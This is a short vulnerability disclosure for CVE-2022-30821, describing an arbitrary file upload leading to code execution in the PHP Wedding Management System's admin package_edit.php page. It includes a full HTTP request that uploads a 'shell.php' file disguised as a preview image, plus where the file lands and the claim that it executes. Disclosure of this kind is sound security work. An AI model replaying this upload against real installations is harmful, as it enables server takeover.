CVE-2022-30821: bug_report/RCE-2.md at main · k0xx11/bug_report

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Wedding Management System v1.0 by codeastr.com has arbitrary code execution (RCE)

vendor: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability url: http://ip/Wedding-Management/admin/package_edit.php?id=1

Loophole location：The editing function of “Services” module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of “package_edit.php” file.

Click “Edit” to save

Request package for file upload：

POST /Wedding-Management/admin/package_edit.php?id=1 HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/Wedding-Management/admin/package_edit.php?id=1 Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99 Connection: close Content-Type: multipart/form-data; boundary=---------------------------28704520716321 Content-Length: 534 -----------------------------28704520716321 Content-Disposition: form-data; name="wedding_type" 2 -----------------------------28704520716321 Content-Disposition: form-data; name="price" 0.00 -----------------------------28704520716321 Content-Disposition: form-data; name="preview_image"; filename="shell.php" Content-Type: application/octet-stream JFJF <?php phpinfo();?> -----------------------------28704520716321 Content-Disposition: form-data; name="submit" -----------------------------28704520716321–

The files will be uploaded to this directory \admin\upload\categories\

We visited the directory of the file in the browser and found that the code had been executed